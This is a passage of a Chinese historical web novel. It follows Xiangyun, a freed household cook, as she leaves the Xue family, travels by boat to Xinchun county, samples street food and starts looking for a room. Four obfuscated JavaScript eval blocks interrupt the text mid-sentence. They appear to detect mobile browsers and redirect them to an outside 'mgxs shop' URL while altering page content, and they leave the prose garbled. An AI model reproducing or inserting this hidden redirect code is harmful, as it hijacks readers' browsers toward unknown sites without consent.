小米熬上一炷香后加入山药碎和红枣继续熬煮，熬到浓稠即可，出锅时再撒入几粒枸杞。 不一会儿，小厨房里便传来小米粥的清香气。 这边粥在锅里熬着，香云手里也没闲着，揉面、调馅、做豆腐皮包子、千层糕和茯苓饼。 另起一口锅，加水烧开后，将面点放进笼屉里上锅蒸着，香云抽空歇了口气，转身又去预备今日的小菜。 一碟子十香瓜茄，一碟子对半切开滋滋冒油的咸鸭蛋，一碟子香油拌酱莴笋。 配上白瓷碟子，好不齐整。 这些都是开胃好吃的小菜，用来佐粥再合适不过了。 这边香云刚将早饭忙好后，就见有老婆子过来了。 “香云姑娘，早饭可预备好了吗？我现在就要往老太太屋里送热水了。” “已经都预备好了，您老送完热水就可以来取了。” 老婆子“哎！”了一声，打了热水就走，香云则将早饭装在食盒内等她来拿。 趁这个空儿，她自己抓紧吃了个早饭，又定下了中午的菜色。 眼看着这会子没什么事儿 ，香云便回了自己的住处，取了个荷包并一百文钱揣进了怀里。 荷包里头是一些香糖果子，这是萍儿特地留给她的，都是上好的货色。 她与守门的小子长宁有些交情，这会子就是要寻他交代些关于宋长海的事儿。 很快便到了门首处，香云便朝长宁招了招手。 长宁那小子是个机灵的，立刻跟身边人交代了一声就飞跑了过来。 “香云姐姐，到我们歇脚的屋里说话吧，这会子那里没人。”长宁笑道。 没人的地方自然更好说话，香云便跟他一起去了屋里。 香云先是跟他说笑了几句，而后便掏出了那荷包和一百文钱塞到了长宁手中。 长宁哪里肯收，“姐姐有事尽管吩咐，哪里需要这些，把我长宁当做什么人了？” 香云苦笑了两身声，颇为无奈道：“前段时间，我家里人来瞧我，你也看见的。 这不，我兄弟现如今就在蒲阳做活呢，我啊，就怕他乡下人不懂礼数、冲撞了的。 咱们府上的气派在这蒲阳县要数第一的，他一个泥腿子，见识了这等富贵后定会在外胡乱吹嘘。 咱们老爷最是清正廉明之人，段容不得这种人败坏门风的，我就是怕他受有心之人挑唆犯错呢！ 所以啊，今天就特来交代你几句，以后但凡我兄弟来探听我和这府里的任何事儿，你们就只管不要理他。 再者，若是瞧见他经常在府门口鬼鬼祟祟的，尽管大声呵斥赶了出去，无需看我的面子。 毕竟我这在老太太院里做事呢，家里人若这样上不了台面，我的脸上实在是不好看啊！” 长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432072|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁一听只是这样的小事，于是便满口应承了下来。 “香云姐姐只管放心，这事包在我身上了，待会我就跟守门的几个人都交代下去。 这府里和姐姐的一丝消息我们都不会透出去的，若见他行迹鬼祟，定会赶他走的。” 香云见他这般机灵，心中实在欢喜，笑道：“好小子，数你会办事，赶明儿我做几样好点心来让你甜甜嘴儿！” 长宁不好意思地挠了挠头，又将香云给的一百文推了过去。 “这钱我不能收，香云姐姐千万拿回去，可折煞我呢，又不是什么大事，怎么好拿姐姐的银子呢！” 香云哪里容他拒绝，硬是塞到了他的手里。 “不光是你，还有门口那些小子们呢！你拿着请他们吃顿酒也好！” 长宁见香云说得恳切，只得是收了下来，又和香云说了几句，二人便散了。 这边长宁就往大门处走，香云则是回内院。 刚走两步路，忽就听到有人叫她。 “香云姑娘，且略站一站……” 香云回转头一看，真真是今日走运了，居然是长禄。 原本她还想寻个时机再找长禄问问外面的事儿，今儿居然就让她碰见了。 只是看长禄，一副风尘仆仆的样子，应该是出了远门刚回来。 眼看香云站住了脚步，长禄便向刚才香云和长宁待的那屋子瞥了一眼，随后带头往那里去了。 香云见状，也忙跟在后头进了屋。 长禄因为之前拿了香云的银子，心里一直都记挂着她的事。 他不是婆婆妈妈之人，便开门见山了。 “香云姑娘在老太太屋里，可有听说老爷他们要去京城做官的事？” 香云一听这话，便知他的意思了，长禄常在老爷跟前，这样的消息琴儿她们都知道了，长禄知道了也不稀奇。 于是她便点了点头，“我听人提了那么一嘴。” 长禄寻了个地方坐了下来，又道：“之前替姑娘打听那事，收了姑娘的银子，我这心里一直有些过意不去。 我想，姑娘既是让我打听去外乡的事儿，想来定是自己有这个打算吧。” 香云见他如此直白，也不想藏着掖着了，毕竟自己还有很多事想再问问他呢。 “长禄哥，我知道你是心思玲珑之人，在你面前扯谎也是无益。 不错，我确实因为一些逼不得已的原因，只能选择远走他乡。” 长禄看着眼前的这个姑娘，微微叹了口气，在这府里当奴才，每个人都有些自己的无奈，所以他不想去探究为什么。 “你一个女子，孤身一人，这离开家乡，赎身后想好要去哪里了嘛？” 香云此时在他面前也没了顾忌，便将自己的想法和盘托出。 “如今老太太发善心，不要身价银子放我们出去，所以我便想选一处民风淳朴的地方过活， 可我到底女子，这外面的世道，终究是不熟悉，便想仰仗长禄哥给我指条明路。” 长禄其实也多少猜到些她的想法，于是郑重地在心里琢磨思虑了一番后便开口了。 “我这些年，跟着老爷外出公干也走了好些地方，不是我吹嘘，到底比起你们内宅女子见识要广些。 你若是信我的话，我觉得新春县倒是个很不错的地方，对你来说，挺合适的。” 5. 终于离开啦 “新春县？听这名字就觉得很好，只不知长禄哥为何觉得这地方适合我呢？” 香云有些不解，遂开口问道。 “你有所不知，这新春县在蒲阳的南边，若是坐船过去的话，四五天左右就能到。 因着地势往南，故那里的气候四季分明，而且民风淳朴，人杰地灵。 还有水运河道甚是发达，来往船只很多，物产丰富，是以那里的老百姓都爱做些小买卖。 所以在那儿，女子抛头露面出来做些小买卖很是常见，大家都不会说道些什么。” 香云听了长禄这一席话，心中顿时升起一股向往之情。 长禄自然没有错过她眼中那一抹惊喜之色。 很快便又道：“咱们在这府里做下人，哪个都不容易。 自打你向我打听了远赴他乡的事之后，我这心里就一直给你想着呢！ 我思来想去，给你琢磨了好几个地方，最后还是觉得新春县最好。 你虽是老太太院里的，可大家的月例银子都是有数的，想来你的手上也必不宽裕。 我知道你有一手好厨艺，就凭你这股子拼劲儿，到了那里，相信定能够站稳脚跟的。 你脱籍后还有一定的转圜余地，一年的时间说长不长，说短也不短。 事在人为，不管如何，起码努力了就不后悔！” 长禄的话就是香云心中所想，她很是赞同的点了点头。 “长禄哥，你的话我都记下了，多谢了。”香云真心道谢。 正所谓送佛送到西，长禄摆了摆手，又道：“你若打定主意去新春，届时再来寻我。 不管陆路还是水路，我这里都有些门路，到时候你只说上一声，我必定尽我所能，帮你安排妥当。” 香云再没想到还有这样的意外之喜，本来她还愁脱籍后怎样出行能更安全。 眼下，有了长禄的人脉关系，他背后又是薛知县，再没人敢在他跟前弄鬼的，真真是再好不过了。 香云心里正琢磨这事的时候，冷不丁听长禄笑道：“放心，这次不收你银子！” 香云听到这话不禁小脸一红，之后却也屈膝郑重朝长禄拜了一拜。 “长禄哥，大恩不言谢，点滴香云都记在心里，再不敢忘！” 长禄忙上前将她虚扶了她一把，“都是可怜人，不说这些。” 当下，事情谈妥后，二人便一前一后离了这里，香云也回了延福院。 回去之后，她这心里相比于昨晚上，实在是安定了许多。 眼下，宋长海那边也已经交代了长宁，只要到时候小心些，定不会出岔子的。 关于要去的地方，香云不想自寻烦恼，就定了新春县。 这段时间，她预备抽空做两双好鞋备着，等离开的的时候送给长禄。 说起来，当初自己托长禄打听那些事，其实也没花了多少银钱。 可长禄却这样替她费心想着，还说好帮她安排离开的事儿，这样的恩情她不能忘。 这几件大事定下来后，香云在接下来的日子里着实轻松了不少。 不久后的一个下午，香云正在小厨房里忙活，就听烧火的婆子喜滋滋地进来。 “香云姑娘，赶紧的，林管家说了，让府里所有的下人都去前院，他有重要的事情要说呢！” 香云一听便知，定是之前琴儿她们说的话要当众宣布了。 于是，她简单收拾了一下，便也跟着去了前院。 待下人都到齐后，林管家便说了前因后果，与琴儿她们所说几乎无异。 “咱们老太太发善心，说此去京城路途实在遥远。 若有不愿意跟着一道走的，府里不要一分身价银子，就放了你们出去自谋生路。 当然了，要是有那不愿离开的，尽管跟着主家一起走，到京城薛家照样当差。” 这话一出，顿时一众人等都是议论不一。 “哎哟哟，这真是天大的好事啊！我这家人都在蒲阳乡下呢，不要身价银子我就直接回家养老了。” “老爷要升官了，还是京官，这是个绝佳的好机会啊，跟着去京城指不定还能混个好前程呢，我是要跟着一道走的。” 一时之间，大家都在兴奋地讨论着…… “大家伙，这几日你们好好想想，是走是留都考虑清楚，老爷十月要去京述职，过不了多久就得走。 三日后，我会一一来问询，这会儿，大家就都先散了。 只是，还有一句话我要交代，这事是府里开恩，可老爷的性子你们也是知道的。 若是有人无事出去瞎嚷嚷，一旦被发现了，可别怪主家不留情面。” 众人有了这样的好事，自然连连应是。 “林管家放心，必定不说出去一个字！” “正是这话，林管家就放一百个心吧！” 一会儿后，大家便都各自回去做事了。 香云自是也不例外，这段时间，她已经将给长禄做的两双鞋子都已经做好了。 听林管家的话音，过不了多久，整个薛家就会启程去京城了。 她也在心里暗暗盘算道：也是时候开始预备起来了。 忙完手里的事儿后，香云便回住处取了些银子，又背了个包袱，就往二门去了一趟。 二门上的姚婆子除了守门之外，平日里也帮内院的丫头婆子们出府采买些小玩意。 之前因为府里没有对外说去京里的事儿，所以很多事香云也不适合提前做。 现如今这事已经过了明路了，所以香云也就没什么顾忌了。 “香云姑娘过来，可是有事？”姚婆子看到香云过来便起了身。 “姚妈妈坐吧，不必客气，这不，想托您帮我采买些东西的。”香云笑道。 说罢这话，她就往姚婆子手里先塞了三十文钱，这是府里的老规矩了，总不能让人白跑腿的。 姚妈妈见状，立刻笑得满脸褶子，：“香云姑娘尽管吩咐就是！” 香云便拉她到一边，悄身道：“劳动姚妈妈，帮我去布店扯上几尺麻布，颜色越不起眼越好。 就选两个色儿吧，正好做两身。” “姑娘放心，这都是小事，明儿就给姑娘送去。姑娘可还有事？” 香云便将身上背着的包袱打开，笑道：“这是几件之前夫人和老太太赏我的衣裳，都是不错的好料子。 我想着白放着倒可惜了，还请妈妈帮我去当铺里当了换些银钱吧！” 姚婆子凑近一看，齐齐整整叠着好几件衣裳，看料子都很不错。 她上前摩挲了几下，带了几分可惜道：“这都是好东西，姑娘何不留着穿？死当只怕卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432073|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上价儿，真可惜了！” 香云心里其实何尝又舍得呢，只是现如今即将要出远门，一方面确实缺银子，再者带的东西多反而不方便。 “罢了，我还留了一件呢！辛苦姚妈妈帮我走一趟吧！” 姚婆子见她主意已定，也就没有再多劝了。 “姑娘放心，我一定给找一家价高的，必定不糟蹋这些东西！” 香云很是感谢，深谢了她几句后，便回了延福院。 及至到了次日午饭后，姚婆子趁午间人不多，便来寻了香云。 买了她要的粗布，又将几件衣裳当的一两多的银子交到了她手里。 香云拿到粗布后，便抽空飞针走线做起了衣裳。 待到了晚间忙完晚饭后，却有人叫了香云去了老太太的屋子。 等香云到的时候，只见琴儿她们正在翻箱倒柜的收拾东西呢。 看到是她过来，老太太招了招手便叫她到了跟前。 “好孩子，我听琴儿她们说了，你想脱籍后自己出去？” 香云见老太太这个样子，只怕定是知道了她的事儿，所以便应了是。 老太太长叹了一口气，“自打你进这院里，我每日都能多吃一碗饭，可人各有志，实在不能勉强。 你我主仆一场，若有什么难处，你只管开口！” 香云看着老太太眼中隐隐可见的伤心，不由跪了下来。 “蒙老太□□典，已经不要身价银子就能出去了，香云什么都不缺，还望老太太以后多保重身子！” 一旁的琴儿忙将她拉了起来，“你若有难处尽管说，不妨事的，老太太你是知道的。” 香云当然这时是最缺银子的，可这话却是不好开口的，毕竟多少银子算是够呢，人的心是不知满足的。 她想了片刻便道：“香云倒真有一事相求，此去他乡，还需路引，还请老太太帮我这忙才好。” 老太太知道她的难处，本打算赏她些银子，却不想这丫头这般有骨气，更是对她多了几分刮目相看。 于是当下便做主道：“这事不难，我会交代人去办！” 说罢这话，又吩咐萍儿道：“你去将我那个装药的匣子拿来。 给这丫头拿一些丸药，一样样的给她贴上签子，孤身一人在外，总得备着些才好！” 香云再没想到老太太竟还有这个心，一时之间真不知该说些什么才好，这些药可远比银子来得更珍贵。 她无以为报，只扑通一声又跪了下来，恭恭敬敬给老太太磕了几个头。 当下，主仆几人又叙了会衷肠，到夜深之时方散了。 几日后，薛家上下人等俱已准备好，所有下人是去是留也都定了下来。 一应主家的东西全都全部打点妥当，薛家大宅也早就寻好了买家。 十六日这天，早起蒙蒙亮，几辆车马便在雾色中去了码头，薛家众人下马车后便上船起身往京城去了。 而一同跟着马车到了码头的香云，则穿着粗布衣裳，用头巾包了头发，只背着一个随身包袱。 她麻溜找到了长禄提前替她安排好的船，照吩咐进了后面装货的小里间儿。 很快船便行进起来，看着渐渐远去的蒲阳码头，香云心中终于是松了口气。 看着滚滚河水，她的眼中也跟着湿润了起来…… 6. 初到新春县 香云任凭泪水肆意流淌，她一点都不想去抹！ 此时此刻，她坐在狭小的后船舱夹板上，却丝毫感受不到任何逼仄。 感受着船舱那个小小的窗户吹进来的徐徐风声，她只觉得心里说不出的畅快和自由！ 那一滴滴流下的泪水，也早就分不清是对自由身的渴望。 亦或者是终于可以彻底摆脱了那个一直压榨她的家。 不管是何种原因，只一点，香云很是笃定。 那就是，这眼泪绝非是难过伤心的，有的只是对过往的告别和对新生的喜悦。 香云很明白，去新春县并不会那么顺利，她接下来的路也会很难走。 可是，那又如何？ 为了以后的大把好日子，她愿意挣命似的拼上一年。 她在心里暗暗给自己鼓劲：她一定会在新春县彻彻底底、扎扎实实地站稳脚跟！ 她也一定会堂堂正正成为新春县人氏！ 再也不用为奴为婢看人眼色，在船上的四五日时光，每一天香云都觉得很自在舒服。 因为船老大受了长禄的叮嘱，所以，对香云很是关照。 自打香云上了船后，船老大的浑家吴娘子还特地过来陪着说了会话。 一日三餐，香云不消去取，吴娘子都会着人端了送到跟前。 身处摇荡的船只里，香云除了睡就是吃，空闲的时候就打打络子。 因为这几日天气很好，秋高气爽的，一路上船行进的都很顺利。 四日后的下午申时（三点）刚过，香云就听见船舱里一阵嘈杂声音传来。 不一会儿，就见出吴娘子的身影到了跟前。 “姑娘，赶紧收拾收拾吧，不一会儿咱们这船就到新春县的码头了。 趁着船上小子们往码头下货的功夫，姑娘正好下船！” 香云一听这话，立刻麻利地起身，将随身包袱收拾齐整。 “多谢吴姐姐了，此一别就难再见，这几日多仰仗您照顾了！” 吴娘子笑着摆了摆手，“我们俩口子多得长禄兄弟照顾，不过是捎带姑娘一段路罢了，实在不值当什么！” 话虽如此，可从蒲阳往新春这段路，船资楞是一文没收，几日的饭食供应也只收了三十文钱。 说起来，香云当真心里很是过意不去。 她这几日在路上因为无事，于是特地用心做了几个精巧的络子。 当下便从包袱里取出来并一个以前夫人赏的精致荷包，一股脑都塞到了吴娘子的手里。 “这几个络子是我自己亲手做的，手艺粗劣，吴姐姐千万别嫌弃才好！ 这荷包是知县夫人从前赏我的，姐姐或是自己留着或是拿着赏人吧。” 吴娘子常年在船上跟着夫家忙碌，自然没心思在女红上下功夫，何曾见过如此精致的小玩意。 只一眼见了便喜欢上了，笑呵呵直谢道：“真好看，那我就厚颜收下了，哪舍得送人，我自己喜欢还来不及！” 香云见她眼中那欣喜之情不似作假，也松了口气，送出去的东西别人要喜欢才算不辜负这情意。 当下二人又说了会话，很快船便到了码头靠了岸。 香云深谢了吴娘子夫妇，背着随身的包袱，告别二人便出了船舱上了码头。 也许是这几日都待在船上，上岸之后听着码头上熙熙攘攘的声音，香云一时之间都有些恍惚住了。 她仰着头朝西望去，太阳还盛，但不算刺眼。 站在新春县的码头上朝东看去，入目之处，便是很多的船只，不少船上都在热火朝天的上货下货。 香云回转身子再看，就见直通码头的路两边支着各色各样的小摊子，叫卖声也是此起彼伏。 不仅如此，还有小子们挎着提篮在码头靠岸下货的船只跟前热情兜售着货物。 生机盎然，好不热闹！ “大碗粗茶，一文一碗，客官远道而来，来歇歇脚啊！” “刚出炉的大块酥香烧饼，只需三文！好吃不贵喽！” “新春本地土仪，带回去送给亲朋好友再合适不过了，过来看一看，瞧一瞧喽！”…… 放眼望去，基本上每个小摊儿跟前都有人光顾，生意还挺不错的。 这一路看过去，香云更是发现，新春县确实如同长禄所说的那样。 这里做小买卖的很多，只这一会儿，香云就看到有好几个摊子的摊主都是女子。 她们年纪不一，有年轻的小大姐，还有一些年长老妪，个个都十分精神。 眉眼之处丝毫没有怯懦之态，看着都很精明能干！ 香云这会子心里可算松了口气，之前都是听长禄说，到底不是亲眼所见，说实话心里其实也是有些没底的。 正所谓眼见为实，现如今，她自己站在了新春县的地界上，实实在在地感受了一番。 她这心里啊，瞬间是有了不少底气。 这些年来，自打被林管家安排着进了小厨房给老太太专门准备饭食。 她从一开始有些手忙脚乱，到后来的不慌不忙、游刃有余。 靠的就是不怕吃苦和不服输的劲头。 早些年在小厨房里，每天她都是起的最早，走的最迟，哪怕就是做烧火丫头，她也比人家烧的好。 香云看着这新春县的人，大家都在为了生存而努力拼搏，她也有信心凭着双手过上好日子。 因为初来乍到，对这新春县实在是不了解，于是香云便寻了一处摊主是女店家的茶摊。 这边，香云刚到了摊子跟前，便见女店家热情过来招呼上了。 “这位小娘子，快快请坐，看这样子是外地来的吧，要不要先来碗茶润润口？” 香云见她满脸笑意，十分爽朗，便也笑着回道：“那就来碗茶吧！” 女店家应了一声，很快便提着茶壶、干净茶碗过来了，手脚麻利地倒了一大碗粗茶来。 茶汤红亮，虽只卖一文，看着倒很是不错。 香云着实有些渴了，端起茶碗就喝上了几口，却没想到居然有意外之喜。 “店家娘子，你这茶虽粗，却是好滋味呢！喝着竟隐隐有股桂花的淡淡香气！”香云不禁赞道。 “正是桂花不错，小娘子倒是会品！我这虽是粗茶，却也是有好几种的，权看来的是何客人！” 香云不禁挑眉看了她一眼，没想到新春县这小小的茶摊儿却也这样讲究。 女店家见状又笑道：“我观小娘子虽是穿着粗布衣裳，可气质娴静。 绝不是那些乡村妇人可比，是以便上了这茶来，小娘子果然喜欢。 当然了，若是那抗货的大老粗过来，便是一大海碗解渴粗茶奉上，再不会错的！” 香云听了不由点了点头，当下坐着边喝茶又要了两样小食，顺道问了些新春县的事儿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432074|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我是别的地方过来的，初来乍到，万事都不熟悉，敢问店家娘子，从这里往新春县城里还得多久啊！” 店家娘子是个古道热肠之人，正好此刻摊前人也不多，于是便坐在一旁说道了起来。 “这里是新春县最大的码头，叫做定波码头。 从这一直往西拐几个弯再往南不多远，坐驴车约莫大半个时辰，便是新春县最繁华的街市，玉林街了。 咱们这啊，河运发达，大大小小的码头还有好几个，都分布在县城最边上……” 秋日里，太阳比不得夏日里有劲头，香云在茶摊坐了一会儿后，就见太阳开始渐渐落山了。 刚才她已经打听了不少新春县城的事儿，眼下她想先去玉林街瞧瞧，待晚上再去寻个客栈住下来再做打算。 香云刚才受了茶摊娘子的指点，特地等了一个往城里运货的驴车，只花了三文钱就能捎带她到玉林街。 “姑娘，坐稳喽，咱们这就出发了！”随着赶车老汉的一声吆喝。 香云坐在车后头也跟着一起摇摇摆摆地前行起来。 刚出了码头，没过多久，就见城门打开，门首中间赫然写着“新春县”三字。 这里是有守门兵士把守的，香云下了驴车奉上路引，守门兵士核对了路引上的信息，又问了好几个问题。 确定无误后，就放了香云进城，接着上车继续往前走。 随着驴车的行进，街市两边的铺面也开始渐渐多了起来。 及至又拐了几个弯，依稀可见车水马龙、人声鼎沸之态。 “下条街就是玉林街了，路上来往的轿马和行人会很多，姑娘尽量往里坐坐，可别磕碰到了的！” 香云应了一声后也随即往车里面坐了坐，她身边不时都有小贩挑担经过。 很快就见店铺幌子飘飞，左右两边铺面鳞次栉比排布着。 酒楼、茶馆、金银铺子、布店、生药铺子、杂货店…… 让人目不暇接，好一派繁华之象。 除了正规铺面，道路两边更是挤挤挨挨到处摆着各色小摊儿。 有卖吃食的，鸭肉馒头、鹌鹑馉饳儿、澄沙团子，羊脂韭饼，藕粉圆子，新鲜果子，各色蜜饯…… 随着一阵阵的微风飘过，香气到处飘散，把人腹中馋虫恨不得尽数都勾了出来。 除了吃食，还有卖花木的、卖小儿玩耍之物的，卖珠花钗环的……应有尽有。 赶车的大爷是要给一家酒楼送货的，所以便在路上寻了个空将香云放了下来。 刚才一路上香云就向大爷打听了几处价格还算公道的客栈，所以下车后，便问了路人，寻到了地方。 她定了一间中等客房，进去先休息了一会儿，这几日吃睡都在船上，身上好不疲乏。 原本只想小憩一会，不曾想一挨着床就睡了过去，一觉醒来，只见外头天都已经黑透了。 晚上的玉林街，香云着实不想错过，醒来后便从贴身里衣里拿出了一百文钱装进荷包，简单收拾一下就出门了。 独自一人来到异乡，看着不同于蒲阳县的风土人情，香云觉得好不欢喜。 来新春的第一个晚上，香云决定什么都不去想，她要毫无顾忌地耍上一回。 至于一年的落户期限，该去哪里赁个便宜的屋子住……这些香云通通只想明天去烦恼。 眼下，她要好好逛逛这玉林街，美美吃上一顿！ 7. 先赁屋子 香云所住客栈因为价格不贵，所以离着玉林街隔了有好几条街。 从客栈出来后，看着灯火通明、人来人往的喧嚣景象，香云只觉得这才是实实在在的人间烟火气啊！ 自打八岁那年被卖到薛家，这些年了，虽然也能偶然出府逛上一会，可是与现在的心情是迥然不同的。 那时候，是卖身为奴，可现在却是自由身，这心情实在是天壤之别！ 沿着从客栈出来的那条街，香云只悠闲地在路上走着，这边看看、那边瞧瞧。 不同于蒲阳县，新春县这里的晚上市井气息更加浓郁。 去往玉林街的一路上，各色好吃的小食实在是太多了，香云原本想要找个小馆子吃一顿的计划也就作罢了。 因为她在面对那些小摊上的诱人美食之时，实在是定力不够没忍住。 烤得滋滋冒油的旋炙猪皮肉，大老远就闻到了扑鼻的喷香气息。 若是不来上几块，香云觉得实在愧对自己，外焦里嫩，满口脂香，大快朵颐，畅快也！ 现煎的羊白肠，外皮金黄泛着油润的光，摊子跟前排了老长的队，香云自然而然加入了其中。 终于等到，来上一份，辛香味十足，口感软糯、油脂滚烫、实在是满足的很啊！ 再往前走，便是甜滋滋的味道传来，香云遥遥看去，见是浮圆子。 刚才接连吃了两道油脂大的小食，这会儿必须来点甜的尝尝。 状如珍珠的浮元子，满满的芝麻花生馅，临出锅前再撒上几粒干桂花，真真吃了让人甜到心坎里去。 涂了蜜烤的焦脆的酥琼叶（烤馒头片）、酸香嫩滑满口留香的鱼羹、解腻爽口酸中带甜的荔枝膏水…… 去往玉林街的这一路，香云的嘴巴几乎就没停过，吃得是肚瓜滚圆，走起路来都快摇摇摆摆了。 到了玉林街后，悠闲漫步，顺带消食儿，漫无目的，香云满街乱逛。 一直到街上人渐渐少了起来，此时也已经是月上柳梢头了，香云才回了客栈。 洗漱之后，香云将贴身的所有家当放好，便上床歇着了。 黑甜的一觉，醒来时抬头一看外头天已经是蒙蒙亮了。 香云一个鲤鱼打挺便直接起身，麻溜地穿衣梳头。 留给她的时间不多了，以后快乐自在玩耍的日子多得是，眼下还有很多事等着她做！ 昨天，香云之所以选择在玉林街附近找客栈，其实吃喝玩乐倒是其次，主要是想通过玉林街看看新春县的情况。 昨晚上虽是闲逛，可香云还是收获满满的。 这新春县估计是因为河运发达，不管是做小买卖还是给人做活，维持生计是不成问题的。 是以老百姓们都挺舍得吃喝的，不仅如此，小摊子的吃食价格也不贵，十几文就能饱餐一顿，滋味还很好。 在这新春县，只要勤劳，终究都能混上口饭吃。 但与此同时，想要做买卖扎稳脚跟也是不容易的，这些小食摊一看便知是长年累月积累下了很多食客。 想要在一众卖吃食里脱颖而出，不光要价廉物美，最重要的就是你卖的吃食味道一定要好。 香云对于自己今后要走的路心里多少也有了点谱儿，就先将这事放在一边，眼下首先就是要解决赁屋子的事儿。 客栈住一晚就要花钱，所以赁屋子这事一定要加紧。 香云背上包袱出了客栈后，就找了一个摊子吃了早饭。 昨晚上，她已经向客栈小二哥打听过了，新春县城中一带，租赁屋子都挺贵的。 若是想要寻便宜一些的屋子，就得往城边去寻了。 香云还听小二哥说了，城南边上也有一处码头，虽然规模比之定波码头要小一些，但是每日来往船只也不少。 香云综合了这两条，决定就先往城南去瞧瞧。 吃了早饭之后，因为有了昨日的经验，香云为了节省坐车的银钱，便在一些大的铺面后门处一直蹲守。 等了有一会之后，问了几个送货的，果然有一辆往城南码头送货的马车。 因为今天坐的是马车，地方还算宽敞，不像昨日是蜷缩在后面一个小角落里，所以赶车人收了五文。 付了钱之后，赶车人就马不停蹄往城南去了。 香云顺着马车窗一直往外看，离开玉林街穿过几条巷子后再往南，虽然街两边还是铺面林立，可是人少了很多。 大概走了约莫有半个时辰，香云就听赶车人提前嘱咐她了。 “姑娘，再往前就要往城南码头了，我还得去送货，前面路口我就放姑娘下车了。” 香云听罢应了一声，提前背好包袱一会儿后就在一个拐弯口下了车。 下车后，香云便在这城南简单逛了逛，觉得这里还挺不错的，于是就寻到了一处牙行。 要赁屋子，还是找牙行靠谱些。 进了牙行，便有一位五十来岁左右的大娘迎了出来。 “姑娘，看这样子，定是别的地方来新春的吧，不知来我们这牙行有什么需要？” 牙婆边说，边将香云领着进了一个小单间，还倒了茶水奉上。 “都是干净的茶碗，这茶我们自己也喝，这里人都叫我徐牙婆。”说罢，她就自顾倒了一盏喝了起来。 香云见状，先向其说明了来意。 “多谢徐大娘，我来贵牙行，主要是想赁一处小屋子住，不知徐大娘可有什么好去处能介绍一二？” 徐牙婆以赁屋、卖屋为生，所以对于每一位客人都周到备至，自是希望达成每一笔买卖来赚些嚼头。 于是她便热情问道：“不知姑娘要赁多久？” 香云回道：“若是地方合适的话，先赁半年再说。” “那价格方面呢？不知姑娘可有什么要交代的？”徐牙婆又问道。 “我只一人住，屋子不用太大，只要干净、安静些就好，价格方面自是能便宜些才好！” 徐牙婆听后点了点头，在心里思索片刻就道：“地方倒是有那么几个，只是不知能不能入了姑娘的眼儿呢！” 香云笑道：“都是寻常百姓，说这话大娘就折煞我了。” 徐牙婆见香云性情随和，心里很喜欢，随即就起了身，笑道：“说再多也是无用，姑娘不如先跟着我去瞧瞧。” 香云也正有此意，于是便跟着徐牙婆出了牙行。 徐牙婆是个善谈之人，一路上跟香云说了很多新春县的事，幽默又风趣。 说话间，二人就来到了一家小院门前，只见徐牙婆扣了几下门，一位年迈妇人便出来了。 “沈大娘，我这里有位客人要看看房子，您老领我们进去啊！” “哎，是这事啊，快进来吧。” 徐牙婆边在前带路、边和香云道：“我看你孤身一个女子，就先领你上这里来看看了。 一个院里住着到底有个照应，况且她这儿赁金也不贵，一月只一百六十文。 沈大娘一个人住，亲人都不在了，年纪大了总得生活，就想将西厢房租出去，也能得些赁金贴补贴补。” 香云进院一看，这是座青砖瓦房的院子，也许是因为时间长了，青砖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432075|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也褪去了往日的样子，变得有些斑驳破旧。 院子不算大，西厢房只一间屋子，估计是因为沈大娘年纪大了，所以推开门屋里一股潮湿的霉味。 再看院里，还有一处茅草搭的厨房，进里一看也是有些邋遢。 沈大娘领着香云看了一圈又道：“你若赁了我这西厢房，院里的厨房也尽你使。 只是，我年纪大了觉少，你住在这里千万不能太吵闹了。” 香云在院里看了几遍，心里有了些计较，毕竟才来第一处地方，她还想再看看。 徐牙婆见状，自然也明白她的意思，赁屋子哪有看一处就成功的，于是便告别了沈大娘出来了。 出来后，香云便问道：“这院里没有茅房吗，若是晚上要解手该如何？” 徐牙婆道：“这院子还是多年前建的了，这沈大娘现在年纪也大了，也就懒得在院里折腾搭茅房了 。 我们这里每天清早都有收夜香的，只在屋里放个马子（木马桶）就行。” 香云听后点了点头没言语，可到底觉得院里没个茅房不方便。 